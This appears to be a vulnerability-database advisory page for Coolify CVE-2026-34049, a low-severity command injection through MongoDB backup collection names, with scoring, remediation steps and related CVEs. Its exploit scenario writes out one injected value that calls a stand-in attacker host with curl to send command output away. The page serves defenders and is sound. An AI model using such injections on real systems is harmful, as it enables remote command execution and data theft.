Skip to main content

Coolify CVE-2026-34049

| EUVDEUVD-2026-41958 LOW
OS Command Injection (CWE-78)
2026-07-06 GitHub_M
3.3
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain or compromise highly privileged Coolify admin credentials
  2. Delivery
    Access MongoDB backup configuration UI
  3. Exploit
    Set collection name containing shell metacharacters
  4. Execution
    Trigger backup job execution
  5. Persist
    Injected command executes on host system
  6. Impact
    Limited read/write access achieved on backup process context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a Coolify account with high administrative privileges capable of configuring MongoDB backup jobs - specifically the ability to set or modify MongoDB collection names used in backup inputs (reflected by PR:H in the CVSS vector). The target Coolify instance must be running a version between 4.0.0-beta.451 and 4.0.0-beta.470 inclusive, and must have MongoDB backup functionality actively configured and in use. The high attack complexity (AC:H) indicates additional alignment is needed: the attacker must control the specific collection name field within backup configuration, and the backup job must subsequently execute to trigger the injection. Exploitation is limited by the requirement for pre-existing admin-level access - unauthenticated or low-privilege users cannot exploit this path. Installations that do not use MongoDB backups are not exposed.

Impact

The CVSS 3.1 base score of 3.3 (Low) accurately reflects the constrained real-world risk: AV:N indicates the Coolify management interface is network-accessible, but PR:H requires an already highly privileged admin account, and AC:H signals that additional conditions (specific backup configuration with crafted collection names) must align for exploitation. The scope is unchanged (S:U) and impact is limited to low confidentiality and low integrity - no availability impact. No EPSS score was provided in the source data, so probability-of-exploitation comparison is unavailable. This vulnerability is not listed in CISA KEV and no public proof-of-concept has been identified. Taken together, this is a low real-world priority: the attack is constrained to insiders or compromised admin credentials, and even successful exploitation yields only limited C:L/I:L impact. The primary concern would be a malicious privileged insider or an attacker who has already fully compromised an admin account - at which point the incremental risk from this injection path is modest.

Exploit ScenarioDerived

A highly privileged Coolify administrator - or a threat actor who has compromised an admin account through credential theft or session hijacking - navigates to the MongoDB backup configuration and sets a collection name containing a shell metacharacter sequence such as legit_collection; curl attacker.com/$(id). When the scheduled or manually triggered backup job executes, the unsanitized collection name is passed to the shell, causing the injected command to run in the context of the backup process on the host. No public exploit code has been identified at time of analysis.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 06, 2026

Command injection in Coolify's MongoDB backup handler (versions 4.0.0-beta.451 through 4.0.0-beta.470) allows a highly privileged attacker who controls backup configuration to inject OS-level shell commands via unsanitized metacharacters in MongoDB collection names. The attack requires an already-administrative account capable of modifying backup inputs, substantially limiting the realistic threat surface. No public exploit has been identified and this vulnerability is not listed in CISA KEV; the vendor released a fix in v4.0.0-beta.471.

RemediationAI

Upgrade to Coolify version 4.0.0-beta.471, which contains the vendor-confirmed fix per the release at https://github.com/coollabsio/coolify/releases/tag/v4.0.0-beta.471. The underlying change is implemented in commit b1de75a7c67ce6aee977bd788b41e61837dbe0b9 via pull request https://github.com/coollabsio/coolify/pull/9168. If immediate upgrade is not feasible, restrict access to the Coolify admin and backup configuration interfaces to the smallest possible set of trusted users, and audit existing MongoDB backup job configurations for collection names containing shell metacharacters (;, |, ` `, $(), &&, ||`). Restricting network access to the Coolify management interface via firewall rules or reverse-proxy IP allowlists reduces the attack surface, though this does not address the underlying injection flaw. Note that any workaround relying on access control still leaves the injection path open for any actor with legitimate admin credentials.

Affected VersionsENISA

coolify 4.0.0-beta.451, < 4.0.0-beta.471

Affected Packages

euvd coolify_4_0_0_beta_451 fix: 4.0.0-beta.471

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Coolify is a self-hostable open-source PaaS platform built by Coollabs that manages servers, applications, and databases through a web interface. The affected component is the MongoDB database backup subsystem, where collection names supplied through the backup configuration UI are interpolated into shell command strings without fully neutralizing special characters such as semicolons, backticks, pipes, or subshell operators. CWE-78 (Improper Neutralization of Special Elements used in an OS Command - 'OS Command Injection') is the root cause class: user-controlled string data reaches an OS-level shell interpreter without sufficient escaping or allowlist validation. The affected CPE is cpe:2.3:a:coollabsio:coolify:*:*:*:*:*:*:*:*, covering the beta release channel from 4.0.0-beta.451 through 4.0.0-beta.470.

Know when Coolify gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 3.3 LOW
AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
vuln.today AI 3.3 LOW

Network-accessible admin UI justifies AV:N; exploitation requires admin privilege (PR:H) and specific backup configuration alignment (AC:H); no availability impact observed.

3.1 AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Jul 06, 2026 - 23:01 EUVD

DescriptionCVE.org

Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. From 4.0.0-beta.451 through 4.0.0-beta.470, database backup handling for MongoDB collection names did not fully validate shell metacharacters, allowing a highly privileged attacker who can configure backup inputs to inject commands. This issue is fixed in version 4.0.0-beta.471.

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Prevalence
Low
open-source self-hosted PaaS with niche developer adoption
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

16
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +16
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-57498 CRITICAL POC
9.6 Jun 29

Cross-team authorization bypass in Coolify (open-source self-hosted PaaS) before 4.0.0-beta.474 allows an authenticated,

CVE-2025-34161 CRITICAL POC
9.4 Aug 27

Coolify versions prior to v4.0.0-beta.420.7 are vulnerable to a remote code execution vulnerability in the project deplo

CVE-2025-34159 CRITICAL POC
9.4 Aug 27

Coolify versions prior to v4.0.0-beta.420.6 are vulnerable to a remote code execution vulnerability in the application d

CVE-2025-64424 CRITICAL POC
9.4 Jan 05

Command injection in Coolify up to and including v4.0.0-beta.434 lets any authenticated low-privileged 'member' execute

CVE-2025-59156 CRITICAL POC
9.4 Jan 05

Remote code execution on the host OS is possible through Coolify's application deployment workflow prior to version 4.0.

CVE-2025-66211 CRITICAL POC
9.4 Dec 23

Authenticated command injection in Coolify's PostgreSQL initialization-script filename handling allows users with applic

CVE-2025-66210 CRITICAL POC
9.4 Dec 23

Coolify versions prior to 4.0.0-beta.451 pass user-supplied database names unsanitized into shell commands executed via

CVE-2025-66213 CRITICAL POC
9.4 Dec 23

Authenticated Coolify users who hold application or service management permissions can execute arbitrary commands as roo

CVE-2025-66212 CRITICAL POC
9.4 Dec 23

Authenticated command injection in Coolify before 4.0.0-beta.451 lets users with application or service management permi

CVE-2025-59158 CRITICAL POC
9.4 Jan 05

Stored cross-site scripting in Coolify versions up to and including v4.0.0-beta.420.6 lets an authenticated low-privileg

CVE-2026-34594 HIGH POC
8.8 Jun 29

Authenticated OS command injection in Coolify before 4.0.0-beta.471 lets any user holding destination management permiss

CVE-2026-34597 HIGH POC
8.8 Jun 29

Authenticated remote code execution in Coolify (self-hosted PaaS) before 4.0.0-beta.470 lets a low-privileged authentica

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy